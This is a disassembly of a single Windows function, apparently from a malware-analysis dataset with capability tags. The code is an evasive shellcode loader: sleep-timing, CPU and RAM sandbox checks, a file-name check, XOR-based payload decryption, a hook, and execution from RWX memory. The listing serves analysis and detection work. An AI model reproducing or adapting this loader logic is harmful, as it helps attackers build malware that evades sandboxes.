Function at 0x140002920
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Encode data using xor
Execute shellcode via indirect call
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x460], rax
lea rdx, [rsp + 0x30]
lea rax, [0x1400289c0]
mov r14d, 7
mov ecx, r14d
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140002970
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movzx ecx, byte [rax + 0x30]
mov byte [rdx + 0x30], cl
mov dword [rbp + 0x2f0], 4
mov dword [rbp + 0x2f4], 0xa
mov dword [rbp + 0x340], 0x9030201
mov dword [rbp + 0x344], 0x7060504
mov dword [rbp + 0x348], 0xb0a0908
mov dword [rbp + 0x34c], 0xf0e0d0c
mov dword [rsp + 0x20], 0x9030202
mov dword [rsp + 0x24], 0x7060504
mov dword [rsp + 0x28], 0xb0a0908
mov dword [rsp + 0x2c], 0xf0e0d0c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140028988]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x7530
call rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x7148
jbe 0x140002d1d
lea rcx, [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x320], 2
jb 0x140002d14
mov dword [rbp + 0x300], 0x40
lea rcx, [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x308]
shr rax, 0x14
cmp eax, 0x800
jb 0x140002d0b
mov r8d, 0x105
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.My_RandomEncrypt.exe
lea rcx, [rbp + 0x350]
call fcn.140009214
test rax, rax
je 0x140002d1d
mov ecx, 0x3b0
call fcn.140002e84
mov rdi, rax
mov ecx, 0xb0
call fcn.140002e84
mov r12, rax
mov r8, rax
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x2f0]
call fcn.140001ef0
movaps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rsp + 0x20], xmm0
lea rsi, [rdi + 2]
lea r15, [rsp + 0x30]
sub r15, rdi
mov r13d, 0x3b
nop
lea rdx, [r15 - 2]
add rdx, rsi
mov r9, r12
lea r8, [rsi - 2]
lea rcx, [rbp + 0x2f0]
call fcn.140001ae0
movzx eax, byte [rsp + 0x20]
xor byte [rsi - 2], al
movzx eax, byte [rsp + 0x21]
xor byte [rsi - 1], al
movzx eax, byte [rsp + 0x22]
xor byte [rsi], al
movzx eax, byte [rsp + 0x23]
xor byte [rsi + 1], al
movzx eax, byte [rsp + 0x24]
xor byte [rsi + 2], al
movzx eax, byte [rsp + 0x25]
xor byte [rsi + 3], al
movzx eax, byte [rsp + 0x26]
xor byte [rsi + 4], al
movzx eax, byte [rsp + 0x27]
xor byte [rsi + 5], al
movzx eax, byte [rsp + 0x28]
xor byte [rsi + 6], al
movzx eax, byte [rsp + 0x29]
xor byte [rsi + 7], al
movzx eax, byte [rsp + 0x2a]
xor byte [rsi + 8], al
movzx eax, byte [rsp + 0x2b]
xor byte [rsi + 9], al
movzx eax, byte [rsp + 0x2c]
xor byte [rsi + 0xa], al
movzx eax, byte [rsp + 0x2d]
xor byte [rsi + 0xb], al
movzx eax, byte [rsp + 0x2e]
xor byte [rsi + 0xc], al
movzx eax, byte [rsp + 0x2f]
xor byte [rsi + 0xd], al
movups xmm0, xmmword [rsi + r15 - 2]
movups xmmword [rsp + 0x20], xmm0
add rsi, 0x10
sub r13, 1
jne 0x140002b40
mov rcx, r12
call fcn.140002e40
call fcn.140006cb0
call fcn.140005f70
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140006490
lea rdx, [0x140002560]
lea rcx, [0x14002de18]
call fcn.140005770
call fcn.140005fe0
lea rdx, str.hook_failed_n
lea rcx, str.hooked_succeed_n
test eax, eax
cmovne rcx, rdx
call fcn.140001020
mov edx, 0x3b1
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rdx, rax
lea rcx, str.shellcode
call fcn.140001020
mov rcx, rbx
movups xmm0, xmmword [rdi]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdi + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdi + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdi + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdi + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdi, [rdi + 0x80]
sub r14, 1
jne 0x140002c71
movups xmm0, xmmword [rdi]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rcx + 0x20], xmm0
xor ecx, ecx
mov dword [0x14002ddf0], ecx
mov qword [0x14002de00], rcx
lea rax, [rbp + 0x340]
mov qword [0x14002ddf8], rax
mov qword [0x14002de08], rbx
mov dword [0x14002de10], 0x3b0
call rbx
jmp 0x140002d29
lea rcx, str._ARM
jmp 0x140002d24
lea rcx, str._cpu
jmp 0x140002d24
lea rcx, str._sleep
call fcn.140001020
xor eax, eax
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.140002e20
lea r11, [rsp + 0x570]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret